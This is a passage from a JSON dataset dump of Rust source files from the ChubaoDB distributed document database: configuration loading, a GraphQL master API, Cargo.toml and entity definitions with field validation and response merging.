pub zone: String,\n pub data: String,\n pub rpc_port: u16,\n pub flush_sleep_sec: Option<u64>,\n pub raft: RaftConf,\n}\n\n#[derive(Debug, Deserialize, Clone)]\npub struct RaftConf {\n pub heartbeat_port: u16,\n pub replicate_port: u16,\n // how size of num for memory\n pub log_max_num: usize,\n // how size of num for memory\n pub log_min_num: usize,\n // how size of num for memory\n pub log_file_size_mb: u64,\n //Three without a heartbeat , follower to begin consecutive elections\n pub heartbeate_ms: u64,\n}\n\n#[derive(Debug, Deserialize, Clone)]\npub struct Master {\n pub ip: String,\n pub http_port: u16,\n #[serde(default = \"false_bool\")]\n pub is_self: bool,\n pub data: String,\n}\n\nimpl Config {\n //init once for starup\n fn init(&mut self) {\n if self.global.ip == \"\" {\n let my = MyIp::instance().unwrap();\n for m in self.masters.iter_mut() {\n if my.is_my_ip(m.ip.as_str()) {\n m.is_self = true;\n break;\n }\n }\n } else {\n for m in self.masters.iter_mut() {\n if m.ip.as_str() == self.global.ip.as_str() {\n m.is_self = true;\n break;\n }\n }\n }\n\n // init log in\n let level = match self.global.log_level.to_uppercase().as_str() {\n \"DEBUG\" => {\n std::env::set_var(\"RUST_LOG\", \"actix_web=info\"); //FIXME: not worked\n LevelFilter::Debug\n }\n \"INFO\" => LevelFilter::Info,\n \"WARN\" => LevelFilter::Warn,\n \"TRACE\" => LevelFilter::Trace,\n \"ERROR\" => LevelFilter::Error,\n \"OFF\" => LevelFilter::Off,\n _ => panic!(\"can not find log level:{}\", self.global.log_level),\n };\n\n let stdout = ConsoleAppender::builder()\n .target(Target::Stdout)\n .encoder(Box::new(PatternEncoder::new(\n \"{d(%Y-%m-%d %H:%M:%S)} - {l} - {t}\\\\({L}\\\\) - {m}{n}\",\n )))\n .build();\n\n let chubaodb = RollingFileAppender::builder()\n .encoder(Box::new(PatternEncoder::new(\n \"{d(%Y-%m-%d %H:%M:%S)} - {l} - {t}\\\\({L}\\\\) - {m}{n}\",\n )))\n .build(\n std::path::Path::new(self.global.log.as_str()).join(\"chubaodb.log\"),\n Box::new(CompoundPolicy::new(\n Box::new(SizeTrigger::new(1024 * 1024 * 128)),\n Box::new(\n FixedWindowRoller::builder()\n .build(\n std::path::Path::new(self.global.log.as_str())\n .join(\"chubaodb.{}.log\")\n .to_str()\n .unwrap(),\n 2000,\n )\n .unwrap(),\n ),\n )),\n )\n .unwrap();\n\n let config = LogConfig::builder()\n .appender(Appender::builder().build(\"chubaodb\", Box::new(chubaodb)))\n .appender(\n Appender::builder()\n .filter(Box::new(ThresholdFilter::new(level)))\n .build(\"stdout\", Box::new(stdout)),\n )\n .build(\n Root::builder()\n .appender(\"chubaodb\")\n .appender(\"stdout\")\n .build(level),\n )\n .unwrap();\n\n let _handle = log4rs::init_config(config).expect(\"init log config has err\");\n\n info!(\"log init ok \");\n }\n\n pub fn self_master(&self) -> Option<Master> {\n for m in self.masters.iter() {\n if m.is_self {\n return Some(m.clone());\n }\n }\n None\n }\n\n pub fn master_addr(&self) -> String {\n return format!(\"{}:{}\", self.masters[0].ip, self.masters[0].http_port);\n }\n}\n\npub fn load_config(conf_path: &str, ip: Option<&str>) -> Config {\n let mut config = _load_config(conf_path, ip);\n config.init();\n config\n}\n\nfn _load_config(conf_path: &str, ip: Option<&str>) -> Config {\n if conf_path == \"default\" {\n return Config {\n global: Global {\n name: String::from(\"chubaodb\"),\n ip: String::from(\"127.0.0.1\"),\n log: String::from(\"log/\"),\n log_level: String::from(\"info\"),\n log_limit_bytes: default_log_limit_bytes(),\n log_file_count: default_log_file_count(),\n shared_disk: true,\n },\n ps: PS {\n id: None,\n zone: String::from(\"default\"),\n data: String::from(\"data/ps\"),\n rpc_port: 9090,\n flush_sleep_sec: Some(3),\n raft: RaftConf {\n heartbeat_port: 12130,\n replicate_port: 12131,\n log_max_num: 20000,\n log_min_num: 10000,\n log_file_size_mb: 32,\n heartbeate_ms: 500,\n },\n },\n router: Router { http_port: 8080 },\n masters: vec![Master {\n ip: String::from(\"127.0.0.1\"),\n http_port: 7070,\n is_self: true,\n data: String::from(\"data/\"),\n }],\n };\n }\n\n let mut file = match File::open(conf_path) {\n Ok(f) => f,\n Err(e) => panic!(\"no such file {} exception:{}\", conf_path, e),\n };\n let mut str_val = String::new();\n\n match file.read_to_string(&mut str_val) {\n Ok(s) => s,\n Err(e) => panic!(\"Error Reading file: {}\", e),\n };\n let mut config: Config = toml::from_str(&str_val).unwrap();\n\n if let Some(ip) = ip {\n config.global.ip = ip.to_string();\n }\n\n return config;\n}\n\nfn empty_str() -> String {\n \"\".to_string()\n}\n\nfn false_bool() -> bool {\n false\n}\n" }, { "alpha_fraction": 0.45818018913269043, "alphanum_fraction": 0.4611872136592865, "avg_line_length": 30.069204330444336, "blob_id": "66a963d9795cac217673d4746616efe3f318aba5", "content_id": "838c6fb55ff0ea8ca6259856df63458029bac6e1", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 8979, "license_type": "permissive", "max_line_length": 98, "num_lines": 289, "path": "/src/master/graphql.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::master::service::MasterService;\nuse crate::util::{config, entity::*};\nuse async_graphql::*;\nuse log::{error, info};\nuse serde_json::json;\nuse std::sync::Arc;\n\npub type JsonValue = Json<serde_json::Value>;\npub type MasterSchema = Schema<Query, Mutation, EmptySubscription>;\n\n#[InputObject]\npub struct Fields {\n pub int: Option<Vec<IntField>>,\n pub float: Option<Vec<FloatField>>,\n pub string: Option<Vec<StringField>>,\n pub text: Option<Vec<TextField>>,\n pub vector: Option<Vec<VectorField>>,\n pub date: Option<Vec<DateField>>,\n}\n\nimpl Fields {\n fn to_collect(self) -> Vec<Field> {\n let mut field_vec = vec![];\n if let Some(arr) = self.int {\n field_vec.extend(arr.into_iter().map(|v| Field::int(v)));\n }\n if let Some(arr) = self.float {\n field_vec.extend(arr.into_iter().map(|v| Field::float(v)));\n }\n if let Some(arr) = self.string {\n field_vec.extend(arr.into_iter().map(|v| Field::string(v)));\n }\n if let Some(arr) = self.text {\n field_vec.extend(arr.into_iter().map(|v| Field::text(v)));\n }\n if let Some(arr) = self.vector {\n field_vec.extend(arr.into_iter().map(|v| Field::vector(v)));\n }\n if let Some(arr) = self.date {\n field_vec.extend(arr.into_iter().map(|v| Field::date(v)));\n }\n field_vec\n }\n}\n\npub struct Mutation;\n#[Object]\nimpl Mutation {\n async fn collection_create(\n &self,\n ctx: &Context<'_>,\n name: String,\n partition_num: i32,\n partition_replica_num: i32,\n fields: Option<Fields>,\n ) -> FieldResult<JsonValue> {\n let mut fs = vec![];\n if fields.is_some() {\n fs = fields.unwrap().to_collect();\n }\n\n let info = Collection {\n id: 0,\n name: name,\n fields: fs,\n partition_num: partition_num as u32,\n partition_replica_num: partition_replica_num as u32,\n partitions: vec![],\n slots: vec![],\n status: CollectionStatus::UNKNOW,\n modify_time: 0,\n vector_field_index: vec![],\n scalar_field_index: vec![],\n };\n\n let v = serde_json::to_string(&info)?;\n info!(\"create collection:[{}]\", v);\n\n let name = info.name.clone();\n info!(\"prepare to create collection with name {}\", name);\n match ctx\n .data_unchecked::<Arc<MasterService>>()\n .create_collection(info)\n .await\n {\n Ok(s) => return Ok(Json(serde_json::to_value(s)?)),\n Err(e) => {\n error!(\n \"create collection failed, collection_name: {}, err: {}\",\n name, e\n );\n return Err(FieldError(\n format!(\n \"create collection failed, collection_name: {}, err: {}\",\n name, e\n ),\n None,\n ));\n }\n }\n }\n\n async fn collection_delete(&self, ctx: &Context<'_>, name: String) -> FieldResult<JsonValue> {\n info!(\"prepare to delete collection name {}\", name);\n\n match ctx\n .data_unchecked::<Arc<MasterService>>()\n .del_collection(&name)\n .await\n {\n Ok(s) => Ok(Json(json!({\n \"success\":true,\n \"collection\":s\n }))),\n Err(e) => {\n error!(\n \"delete collection failed, collection_name {}, err: {}\",\n name,\n e.to_string()\n );\n Err(FieldError(\n format!(\n \"delete collection failed, collection_name: {}, err: {}\",\n name, e\n ),\n None,\n ))\n }\n }\n }\n\n async fn pserver_update(&self, ctx: &Context<'_>, data: JsonValue) -> FieldResult<JsonValue> {\n let info: PServer = serde_json::from_value(data.0)?;\n info!(\n \"prepare to update pserver with address {}, zone {}\",\n info.addr, info.zone\n );\n match ctx\n .data_unchecked::<Arc<MasterService>>()\n .update_server(info)\n {\n Ok(s) => return Ok(Json(serde_json::to_value(s)?)),\n Err(e) => {\n error!(\"update server failed, err: {}\", e.to_string());\n return Err(FieldError(e.to_string(), None));\n }\n }\n }\n}\n\npub struct Query;\n\n#[Object]\nimpl Query {\n async fn collection_list(&self, ctx: &Context<'_>) -> FieldResult<JsonValue> {\n return Ok(Json(serde_json::to_value(\n ctx.data_unchecked::<Arc<MasterService>>()\n .list_collections()?,\n )?));\n }\n\n async fn collection_get(\n &self,\n ctx: &Context<'_>,\n id: Option<i32>,\n name: Option<String>,\n ) -> FieldResult<JsonValue> {\n if let Some(collection_id) = id {\n info!(\"prepare to get collection by name {}\", collection_id);\n match ctx\n .data_unchecked::<Arc<MasterService>>()\n .get_collection_by_id(collection_id as u32)\n {\n Ok(s) => return Ok(Json(serde_json::to_value(s)?)),\n Err(e) => {\n error!(\n \"get collection failed, collection_id: {}, err: {}\",\n collection_id,\n e.to_string()\n );\n return Err(FieldError(e.to_string(), None));\n }\n }\n };\n\n if let Some(collection_name) = name {\n info!(\"prepare to get collection by name {}\", collection_name);\n match ctx\n .data_unchecked::<Arc<MasterService>>()\n .get_collection(&collection_name)\n {\n Ok(s) => return Ok(Json(serde_json::to_value(s)?)),\n Err(e) => {\n error!(\n \"get collection failed collection_name: {}, err: {}\",\n collection_name,\n e.to_string()\n );\n return Err(FieldError(e.to_string(), None));\n }\n }\n };\n\n return Err(FieldError(\n String::from(\"There must be one id or name\"),\n None,\n ));\n }\n\n async fn version(&self, _: &Context<'_>) -> JsonValue {\n Json(serde_json::json!({\n \"chubaodb\":\"master runing\",\n \"version\":config::VERSION,\n \"git_version\": config::GIT_VERSION,\n }))\n }\n\n async fn pserver_list(&self, ctx: &Context<'_>) -> FieldResult<JsonValue> {\n Ok(Json(serde_json::to_value(\n ctx.data_unchecked::<Arc<MasterService>>()\n .list_servers()\n .unwrap(),\n )?))\n }\n\n async fn pserver_get_addr(&self, ctx: &Context<'_>, server_id: i32) -> FieldResult<String> {\n match ctx\n .data_unchecked::<Arc<MasterService>>()\n .get_server_addr(server_id as u32)\n {\n Ok(s) => Ok(s),\n Err(e) => {\n error!(\"get pserver failed, err: {}\", e.to_string());\n Err(FieldError(e.to_string(), None))\n }\n }\n }\n\n //partition\n async fn partition_get(\n &self,\n ctx: &Context<'_>,\n collection_id: i32,\n partition_id: i32,\n ) -> FieldResult<JsonValue> {\n info!(\n \"prepare to get partition by collection ID {}, partition ID {}\",\n collection_id, partition_id\n );\n\n match ctx\n .data_unchecked::<Arc<MasterService>>()\n .get_partition(collection_id as u32, partition_id as u32)\n {\n Ok(s) => return Ok(Json(serde_json::to_value(s)?)),\n Err(e) => {\n error!(\n \"get partition failed, collection_id:{}, partition_id:{}, err:{}\",\n collection_id,\n partition_id,\n e.to_string()\n );\n Err(FieldError(e.to_string(), None))\n }\n }\n }\n\n async fn partition_list(\n &self,\n ctx: &Context<'_>,\n collection_name: String,\n ) -> FieldResult<JsonValue> {\n info!(\n \"prepare to list partitions with collection name {}\",\n &collection_name\n );\n\n match ctx\n .data_unchecked::<Arc<MasterService>>()\n .list_partitions(&collection_name)\n {\n Ok(s) => return Ok(Json(serde_json::to_value(s)?)),\n Err(e) => {\n error!(\"list partition failed, err: {}\", e.to_string());\n Err(FieldError(e.to_string(), None))\n }\n }\n }\n}\n" }, { "alpha_fraction": 0.48584070801734924, "alphanum_fraction": 0.595575213432312, "avg_line_length": 20.339622497558594, "blob_id": "8a7ef8f0409dfa52cf793f388f400a039f3859a3", "content_id": "02671a2464ca0a096853a257df2dca02d01ba2dc", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 1130, "license_type": "permissive", "max_line_length": 68, "num_lines": 53, "path": "/Cargo.toml", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "[package]\nname = \"chubaodb\"\nversion = \"0.1.0\"\ndescription = \"A distributed document database on top of ChubaoFS\"\nreadme = \"README.md\"\nlicense = \"Apache-2.0\"\nedition = \"2018\"\nauthors = [\"The Chubao Authors\"]\n\n[[bin]]\nname = \"chubaodb\"\npath = \"src/main.rs\"\ndoc = false\n\n[dependencies]\nlog = \"0.4.8\"\nlog4rs = \"0.12.0\"\nclap = \"2.33.1\"\nchrono = \"0.4.13\"\nbacktrace = \"0.3\"\ntoml = \"0.5.6\"\nactix-web = \"2.0.0\"\nasync-trait = \"0.1.36\"\nasync-graphql = \"1.16.6\"\nasync-graphql-actix-web = \"1.16.6\"\nactix-rt = \"1.1.1\"\nhttp = \"0.2.1\"\ntonic = { version = \"0.3.0\", features = [\"tls\"] }\nasync-std = { version = \"1.6.2\", features = [\"default\", \"unstable\"]}\nprost = \"0.6.1\"\nserde = { version = \"1.0.114\" }\nserde_derive = \"1.0.114\"\nserde_json = \"1.0.56\"\nbase64 = \"0.12.3\"\nsurf = \"1.0.3\"\ngit-version = \"0.3.4\"\nuuid = { version = \"0.8\", features = [\"v4\"] }\nitertools = \"0.9.0\"\nrocksdb = { version = \"0.14.0\", features = [\"lz4\"] }\ntantivy = \"0.12.0\"\nraft4rs = \"0.1.1\"\nrand = \"0.7.3\"\nroaring = \"0.6.0\"\nnum_enum = \"0.5.0\"\nfaiss4rs = {version = \"1.6.307\" , optional = true}\n\n[build-dependencies]\ntonic-build = \"0.3.0\"\n\n\n[features]\ndefault = []\nvector = [\"faiss4rs\"]" }, { "alpha_fraction": 0.5001317262649536, "alphanum_fraction": 0.5049270391464233, "avg_line_length": 26.82551383972168, "blob_id": "008a2973a31fcb952e6b3fdaf2fd258c37d81466", "content_id": "27328123e9ef19be7d951776716f8bbaf8a0756d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 18977, "license_type": "permissive", "max_line_length": 89, "num_lines": 682, "path": "/src/util/entity.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::pserverpb::*;\nuse crate::util::error::*;\nuse crate::util::time::*;\nuse crate::*;\nuse async_graphql::{Enum, InputObject};\nuse serde_derive::{Deserialize, Serialize};\nuse serde_json::Value;\nuse std::collections::HashMap;\n\npub const ID_BYTES: &'static str = \"_iid_bytes\";\n\n#[InputObject]\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct IntField {\n pub name: String,\n #[field(desc = \"is array type of values\", default = false)]\n #[serde(default = \"default_false\")]\n pub array: bool,\n #[field(desc = \"value can miss\", default = false)]\n #[serde(default = \"default_false\")]\n pub none: bool,\n #[field(\n desc = \"is value to store it in column , if it need sort or get or aggregation\",\n default = false\n )]\n #[serde(default = \"default_false\")]\n pub value: bool,\n}\n\n#[InputObject]\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct FloatField {\n pub name: String,\n #[field(desc = \"is array type of values\", default = false)]\n #[serde(default = \"default_false\")]\n pub array: bool,\n #[field(desc = \"value can miss\", default = false)]\n #[serde(default = \"default_false\")]\n pub none: bool,\n #[field(\n desc = \"is value to store it in column , if it need sort or get or aggregation\",\n default = false\n )]\n #[serde(default = \"default_false\")]\n pub value: bool,\n}\n\nfn default_false() -> bool {\n false\n}\n\n#[InputObject]\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct StringField {\n pub name: String,\n #[field(desc = \"is array type of values\", default = false)]\n #[serde(default = \"default_false\")]\n pub array: bool,\n #[field(desc = \"value can miss\", default = false)]\n #[serde(default = \"default_false\")]\n pub none: bool,\n #[field(\n desc = \"is value to store it in column , if it need sort or get or aggregation\",\n default = false\n )]\n #[serde(default = \"default_false\")]\n pub value: bool,\n}\n\n#[InputObject]\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct TextField {\n pub name: String,\n #[field(desc = \"is array type of values\", default = false)]\n #[serde(default = \"default_false\")]\n pub array: bool,\n #[field(desc = \"value can miss\", default = false)]\n #[serde(default = \"default_false\")]\n pub none: bool,\n #[field(\n desc = \"is value to store it in column , if it need sort or get or aggregation\",\n default = false\n )]\n #[serde(default = \"default_false\")]\n pub value: bool,\n}\n\n#[InputObject]\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct BytesField {\n pub name: String,\n #[field(desc = \"value can miss\", default = false)]\n #[serde(default = \"default_false\")]\n pub none: bool,\n}\n\n#[InputObject]\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct DateField {\n pub name: String,\n #[field(desc = \"time str format\", default = \"auto\")]\n pub format: String,\n #[field(desc = \"is array type of values\", default = false)]\n #[serde(default = \"default_false\")]\n pub array: bool,\n #[field(desc = \"value can miss\", default = false)]\n #[serde(default = \"default_false\")]\n pub none: bool,\n #[field(\n desc = \"is value to store it in column , if it need sort or get or aggregation\",\n default = false\n )]\n #[serde(default = \"default_false\")]\n pub value: bool,\n}\n\n#[Enum(desc = \"computer method default is L2\")]\n#[derive(Serialize, Deserialize, Debug)]\npub enum MetricType {\n L2 = 1,\n InnerProduct = 2,\n}\n\n#[InputObject]\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct VectorField {\n pub name: String,\n #[field(desc = \"is array type of values\", default = false)]\n #[serde(default = \"default_false\")]\n pub array: bool,\n #[field(desc = \"value can miss\", default = false)]\n #[serde(default = \"default_false\")]\n pub none: bool,\n //train when doc got the size, if size <=0 , not train\n pub train_size: i32,\n //dimension: dimension of the input vectors\n pub dimension: i32,\n // A constructor\n pub description: String,\n // the type of metric\n pub metric_type: MetricType,\n}\n\nimpl VectorField {\n pub fn validate(&self, v: Option<Value>) -> ASResult<Vec<f32>> {\n let none = v.is_none();\n if none && self.none {\n return Ok(Vec::default());\n }\n\n let value: Vec<f32> = serde_json::from_value(v.unwrap())?;\n\n if value.len() == 0 && none {\n return Ok(value);\n }\n\n if !self.array {\n if value.len() != self.dimension as usize {\n return result_def!(\n \"the field:{} vector dimension expectd:{} , found:{}\",\n self.name,\n self.dimension,\n value.len()\n );\n }\n } else {\n if value.len() % self.dimension as usize != 0 {\n return result_def!(\n \"the field:{} vector dimension expectd:{} * n , found:{} mod:{}\",\n self.name,\n self.dimension,\n value.len(),\n value.len() % self.dimension as usize\n );\n }\n }\n\n return Ok(value);\n }\n}\n\n#[allow(non_camel_case_types)]\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub enum Field {\n int(IntField),\n float(FloatField),\n string(StringField),\n text(TextField),\n bytes(BytesField),\n date(DateField),\n vector(VectorField),\n}\n\nimpl Field {\n pub fn is_vector(&self) -> bool {\n matches!(*self, Field::vector(_))\n }\n\n pub fn vector(&self) -> ASResult<VectorField> {\n match self {\n Field::vector(f) => Ok(f.clone()),\n _ => result!(\n Code::FieldTypeErr,\n \"schma field:{:?} type is not vecotr\",\n self,\n ),\n }\n }\n\n pub fn name(&self) -> &str {\n match self {\n Field::int(f) => f.name.as_str(),\n Field::float(f) => f.name.as_str(),\n Field::string(f) => f.name.as_str(),\n Field::text(f) => f.name.as_str(),\n Field::bytes(f) => f.name.as_str(),\n Field::date(f) => f.name.as_str(),\n Field::vector(f) => f.name.as_str(),\n }\n }\n\n pub fn array(&self) -> bool {\n match self {\n Field::int(f) => f.array,\n Field::float(f) => f.array,\n Field::string(f) => f.array,\n Field::text(f) => f.array,\n Field::bytes(_) => false,\n Field::date(f) => f.array,\n Field::vector(f) => f.array,\n }\n }\n\n pub fn none(&self) -> bool {\n match self {\n Field::int(f) => f.none,\n Field::float(f) => f.none,\n Field::string(f) => f.none,\n Field::text(f) => f.none,\n Field::bytes(f) => f.none,\n Field::date(f) => f.none,\n Field::vector(f) => f.none,\n }\n }\n\n pub fn value(&self) -> bool {\n match self {\n Field::int(f) => f.value,\n Field::float(f) => f.value,\n Field::string(f) => f.value,\n Field::text(f) => f.value,\n Field::bytes(_) => true,\n Field::date(f) => f.value,\n _ => false,\n }\n }\n\n pub fn validate(&self, v: Option<&Value>) -> ASResult<()> {\n if v.is_none() {\n if self.none() {\n return Ok(());\n } else {\n return result!(Code::ParamError, \"field:{} can not none\", self.name(),);\n }\n }\n\n let v = v.unwrap();\n\n if self.array() {\n if !v.is_array() {\n return result!(\n Code::ParamError,\n \"field:{} expect array but found:{:?} \",\n self.name(),\n v,\n );\n } else {\n for sv in v.as_array().unwrap() {\n self.validate_field(sv)?;\n }\n }\n } else {\n self.validate_field(v)?;\n }\n Ok(())\n }\n\n fn validate_field(&self, v: &Value) -> ASResult<()> {\n match self {\n Field::int(f) => {\n if !v.is_i64() {\n return result!(\n Code::FieldTypeErr,\n \"field:{} expect int but found:{:?} \",\n f.name,\n v,\n );\n }\n }\n Field::float(f) => {\n if !v.is_f64() {\n return result!(\n Code::FieldTypeErr,\n \"field:{} expect float but found:{:?} \",\n f.name,\n v,\n );\n }\n }\n Field::string(f) => {\n if !v.is_string() {\n return result!(\n Code::FieldTypeErr,\n \"field:{} expect string but found:{:?} \",\n f.name,\n v,\n );\n }\n }\n Field::text(f) => {\n if !v.is_string() {\n return result!(\n Code::FieldTypeErr,\n \"field:{} expect text but found:{:?} \",\n f.name,\n v,\n );\n }\n }\n Field::bytes(f) => {\n if !v.is_string() {\n return result!(\n Code::FieldTypeErr,\n \"field:{} expect text but found:{:?} \",\n f.name,\n v,\n );\n }\n }\n Field::date(f) => {\n if !v.is_number() && !v.is_string() {\n return result!(\n Code::FieldTypeErr,\n \"field:{} expect date but found:{:?} \",\n f.name,\n v,\n );\n }\n }\n Field::vector(_) => {\n panic!(\"not vector field\");\n }\n }\n Ok(())\n }\n}\n\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub enum CollectionStatus {\n UNKNOW = 0,\n CREATING = 1,\n DROPED = 2,\n WORKING = 3,\n}\n\nimpl Default for CollectionStatus {\n fn default() -> Self {\n CollectionStatus::UNKNOW\n }\n}\n\n#[derive(Serialize, Deserialize, Clone, Debug, Default)]\n#[serde(default)]\npub struct Collection {\n pub id: u32,\n pub name: String,\n pub fields: Vec<Field>,\n pub partition_num: u32,\n pub partition_replica_num: u32,\n pub partitions: Vec<u32>,\n pub slots: Vec<u32>,\n pub status: CollectionStatus,\n pub modify_time: u64,\n pub vector_field_index: Vec<usize>,\n pub scalar_field_index: Vec<usize>,\n}\n\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct Partition {\n pub id: u32,\n pub collection_id: u32,\n pub leader: String,\n pub version: u64,\n pub replicas: Vec<Replica>,\n}\n\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct Replica {\n pub node_id: u32,\n pub replica_type: ReplicaType,\n}\n\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub enum ReplicaType {\n NORMAL = 0,\n //normal type\n LEARNER = 1, //learner type\n}\n\nimpl Partition {\n pub fn get_id(&self) -> u32 {\n self.id\n }\n\n pub fn get_collection_id(&self) -> u32 {\n self.collection_id\n }\n}\n\n#[derive(Serialize, Deserialize, Clone, Debug)]\npub struct PServer {\n pub id: Option<u32>,\n pub addr: String,\n #[serde(default)]\n pub write_partitions: Vec<Partition>,\n #[serde(default)]\n pub zone: String,\n #[serde(default = \"current_millis\")]\n pub modify_time: u64,\n}\n\nimpl PServer {\n pub fn new(zone: String, id: Option<u32>, addr: String) -> Self {\n PServer {\n id: id,\n zone: zone,\n write_partitions: Vec::default(),\n addr: addr,\n modify_time: 0,\n }\n }\n\n pub fn get_addr(&self) -> &str {\n self.addr.as_str()\n }\n}\n\npub fn merge_count_document_response(\n mut dist: CountDocumentResponse,\n src: CountDocumentResponse,\n) -> CountDocumentResponse {\n if Code::from_i32(src.code) != Code::Success {\n dist.code = src.code;\n }\n dist.estimate_count += src.estimate_count;\n dist.index_count += src.index_count;\n if src.message.len() > 0 {\n dist.message.push_str(\"\\n\");\n dist.message.push_str(src.message.as_str());\n }\n\n dist\n}\n\npub fn msg_for_resp(info: &Option<SearchInfo>) -> String {\n match info {\n Some(i) => i.message.clone(),\n None => format!(\"not found info\"),\n }\n}\n\npub fn merge_search_document_response(\n mut dist: SearchDocumentResponse,\n mut src: SearchDocumentResponse,\n) -> SearchDocumentResponse {\n if src.code != Code::Success as i32 {\n dist.code = src.code;\n }\n\n dist.total = src.total + dist.total;\n dist.hits.append(&mut src.hits);\n\n dist.info = {\n let mut d = dist.info.unwrap_or(SearchInfo {\n success: 1,\n error: 0,\n message: String::default(),\n });\n match src.info {\n Some(s) => {\n d.success += s.success;\n d.error += s.error;\n if !s.message.is_empty() {\n d.message.push_str(\"\\n\");\n d.message.push_str(s.message.as_str());\n }\n }\n None => {\n d.success += 1;\n }\n }\n Some(d)\n };\n\n dist\n}\n\npub fn merge_aggregation_response(\n mut dist: AggregationResponse,\n result: &mut HashMap<String, AggValues>,\n src: AggregationResponse,\n) -> AggregationResponse {\n if src.code != Code::Success as i32 {\n dist.code = src.code;\n }\n\n dist.total = src.total + dist.total;\n\n merge_aggregation_result(result, src.result);\n\n dist.info = {\n let mut d = dist.info.unwrap_or(SearchInfo {\n success: 1,\n error: 0,\n message: String::default(),\n });\n match src.info {\n Some(s) => {\n d.success += s.success;\n d.error += s.error;\n if !s.message.is_empty() {\n d.message.push_str(\"\\n\");\n d.message.push_str(s.message.as_str());\n }\n }\n None => {\n d.success += 1;\n }\n }\n Some(d)\n };\n\n dist\n}\n\nfn merge_aggregation_result(dist: &mut HashMap<String, AggValues>, src: Vec<AggValues>) {\n for v in src.into_iter() {\n if let Some(dv) = dist.get_mut(&v.key) {\n merge_aggregation_values(dv, v);\n } else {\n dist.insert(v.key.clone(), v);\n }\n }\n}\nfn merge_aggregation_values(dist: &mut AggValues, src: AggValues) {\n for (i, v) in src.values.into_iter().enumerate() {\n merge_aggregation_value(dist.values.get_mut(i).unwrap(), v);\n }\n}\n\nfn merge_aggregation_value(dist: &mut AggValue, src: AggValue) {\n match &mut dist.agg_value {\n Some(agg_value::AggValue::Stats(s)) => {\n if let Some(agg_value::AggValue::Stats(src)) = src.agg_value {\n s.count += src.count;\n s.max = src.max;\n s.min = src.min;\n s.sum = src.sum;\n s.missing = src.missing;\n } else {\n panic!(\"impossible agg result has none\");\n }\n }\n Some(agg_value::AggValue::Hits(h)) => {\n if let Some(agg_value::AggValue::Hits(src)) = src.agg_value {\n h.count += src.count;\n\n if h.hits.len() as u64 >= h.size {\n return;\n }\n\n for hit in src.hits {\n h.hits.push(hit);\n if h.hits.len() as u64 >= h.size {\n return;\n }\n }\n } else {\n panic!(\"impossible agg result has none\");\n }\n }\n _ => panic!(\"impossible agg result has none\"),\n }\n panic!()\n}\n\npub trait MakeKey {\n fn make_key(&self) -> String;\n}\n\n/// META_PARTITIONS_{collection_id}_{partition_id} = value: {Partition}\nimpl MakeKey for Partition {\n fn make_key(&self) -> String {\n entity_key::partiition(self.collection_id, self.id)\n }\n}\n\n/// META_COLLECTIONS_{collection_id}\nimpl MakeKey for Collection {\n fn make_key(&self) -> String {\n entity_key::collection(self.id)\n }\n}\n\n/// META_SERVERS_{server_addr} = value: {PServer}\nimpl MakeKey for PServer {\n fn make_key(&self) -> String {\n entity_key::pserver(self.addr.as_str())\n }\n}\n\npub mod entity_key {\n const PREFIX_PSERVER: &str = \"/META/SERVER\";\n const PREFIX_COLLECTION: &str = \"/META/COLLECTION\";\n const PREFIX_PARTITION: &str = \"/META/PARTITION\";\n const PREFIX_PSERVER_ID: &str = \"/META/SERVER_ID\";\n\n pub const SEQ_COLLECTION: &str = \"/META/SEQUENCE/COLLECTION\";\n pub const SEQ_PARTITION: &str = \"/META/SEQUENCE/PARTITION\";\n pub const SEQ_PSERVER: &str = \"/META/SEQUENCE/PSERVER\";\n\n pub fn pserver(addr: &str) -> String {\n format!(\"{}/{}\", PREFIX_PSERVER, addr)\n }\n\n pub fn pserver_prefix() -> String {\n format!(\"{}/\", PREFIX_PSERVER)\n }\n\n pub fn pserver_id(server_id: u32) -> String {\n format!(\"{}/{}\", PREFIX_PSERVER_ID, server_id)\n }\n\n pub fn collection(id: u32) -> String {\n format!(\"{}/{}\", PREFIX_COLLECTION, id)\n }\n\n pub fn collection_prefix() -> String {\n format!(\"{}/\", PREFIX_COLLECTION)\n }\n\n pub fn partiition(collection_id: u32, partiition_id: u32) -> String {\n format!(\"{}/{}/{}\", PREFIX_PARTITION, collection_id, partiition_id)\n }\n\n pub fn partition_prefix(collection_id: u32) -> String {\n format!(\"{}/{}/\", PREFIX_PARTITION, collection_id)\n }\n\n /// META_MAPPING_COLLECTION_{collection_name}\n pub fn collection_name(collection_name: &str) -> String {\n format!(\"META/MAPPING/COLLECTION/{}\", collection_name)\n }\n\n /// META_LOCK_/{collection_name}\n pub fn lock(key: &str) -> String {\n format!(\"META/LOCK/{}\", key)\n }\n}\n" }, { "alpha_fraction": 0.5207504630088806, "alphanum_fraction": 0.5258488655090332, "avg_line_length": 32.35714340209961, "blob_id": "6b150248ac9a1cf9d6e7312fe94c04975ec40efe", "content_id": "84a07204ca85603a32386e3aa63eee0a474373df", "detected_licenses": [ "Apache-2.0" ], 